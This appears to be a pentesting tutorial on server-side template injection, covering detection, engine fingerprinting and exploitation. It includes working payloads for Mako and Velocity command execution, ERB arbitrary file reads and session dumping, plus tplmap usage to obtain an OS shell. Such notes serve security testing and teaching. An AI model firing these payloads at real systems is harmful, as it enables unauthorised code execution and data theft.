Server-side Template Injection (SSTI)

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data.

💡 See labs WebSecurityAcademy (PortSwigger) – Server-side template injection.

WSTG-INPV-18: Testing for Server-side Template Injection (OWASP Testing Guide)

Examples

Not vulnerable

The user’s first name is passed into the template as data.

$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

Vulnerable

Part of the template itself is being dynamically generated using the GET parameter name.

$output = $twig->render("Dear " . $_GET['name']);
http://vulnerable-website.com/?name={{bad-stuff-here}}

Testing

Detect

Try fuzzing the template by injecting a sequence of special characters commonly used in template expressions. If an exception is raised, this indicates that the injected template syntax is potentially being interpreted by the server in some way.

${{<%[%'"}}%\

Plaintext context

Most template languages allow you to freely input content either by using HTML tags directly or by using the template’s native syntax, which will be rendered to HTML on the back-end before the HTTP response is sent.

To differentiate from other vulnerabilities (like XSS), try executing a mathematical operation. If the result is “Hello 49”, the operation was evaluated by the server.

render('Hello ' + username)
http://vulnerable-website.com/?username=${7*7}

Code context

Try and break out of the statement using common templating syntax and attempt to inject arbitrary HTML after it. If this results in an error or blank output, you have either used syntax from the wrong templating language or, if no template-style syntax appears to be valid, server-side template injection is not possible. If the output is rendered correctly, along with the arbitrary HTML, this is a key indication that a server-side template injection vulnerability is present.

greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
http://vulnerable-website.com/?greeting=data.username}}<tag>

Identify

Refer to the decision tree from PortSwigger: Server-side template injection.

💡 Use the Detection section of PayloadsAllTheThings.

Once you have detected the template injection potential, the next step is to identify the template engine. Create probing payloads to test which template engine is being used and identify based on the response.

Ruby-based ERB engine

<%=foobar%>
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'

Twig

{{7*'7'}}
49

Java Velocity

vulnerableParam=<@urlencode>#set ($x=7*7) ${x}<@/urlencode>
49

Jinja2

{{7*'7'}}
7777777

Exploit

💡 See Server Side Template Injection (PayloadsAllTheThings).

Read

Read the template engine documentation. Learn the basic syntax, key functions and handling of variables.

Example of RCE with Mako template engine (Python-based):

<%
  import os
  x=os.popen('id').read()
  %>
  ${x}

Explore

Attack – Ruby-based ERB engine

List all directories and then read arbitrary files

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

Java Velocity

💡 Use Hackvertor extension for URL encoding.

Basic tests

vulnerableParam=<@urlencode>#set ($x=7*7) ${x}<@/urlencode>
vulnerableParam=<@urlencode>#set ( $foo = "Velocity" ) $foo<@/urlencode>
vulnerableParam=<@urlencode>#if($a==$a) This is true!#{else}This is false!#end<@/urlencode>
vulnerableParam=<@urlencode>
#set($source1 = "abc")
#set($select = "1")
#set($dynamicsource = "$source$select")
## $dynamicsource is now the string '$source1'
#evaluate($dynamicsource)
<@/urlencode>
vulnerableParam=<@urlencode>
#set( $directoryRoot = "www" )
#set( $templateName = "index.vm" )
#set( $template = "$directoryRoot/$templateName" )
$template
<@/urlencode>

On occasion the ‘#set’ instruction will be blacklisted, which we can circumvent by manipulating the syntax and replacing it with “#{set}”:

vulnerableParam=<@urlencode>#{set} ($x=7*7) ${x}<@/urlencode>

HTTP session server-side variables

vulnerableParam=<@urlencode>
#foreach ($key in $session.getAttributeNames()) $key:$session.getAttribute($key) #end
<@/urlencode>

Execute shell commands (NOT TESTED)

vulnerableParam=<@urlencode>$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")<@/urlencode>

XSS

vulnerableParam=<@urlencode>
#set($xss = '<script>alert(1);</script>') $xss
<@/urlencode>

Tplmap

Automatic Server-Side Template Injection Detection and Exploitation Tool.

Installation

git clone https://github.com/epinna/tplmap.git
cd tplmap/

FIX: module ‘collections’ has no attribute ‘Mapping’

See issue 104 (GitHub).

In core/plugin.py, replace collections by collections.abc:

import collections
import collections.abc # FIX

In core/plugin.py, replace collections.Mapping by collections.abc.Mapping (in def _recursive_update):

if isinstance(d, collections.Mapping):
            if isinstance(v, collections.Mapping):
if isinstance(d, collections.abc.Mapping): # FIX
            if isinstance(v, collections.abc.Mapping): # FIX

Usage

Help

cd tplmap/
./tplmap.py -h

Basic usage

./tplmap.py -u 'http://x.x.x.x:80/index.php?param=whatever*'

Obtain OS shell

Example with template engine Java Velocity, using a POST HTTP method:

./tplmap.py -u 'http://x.x.x.x:80/index.php' -X POST -d param=whatever -e velocity --os-shell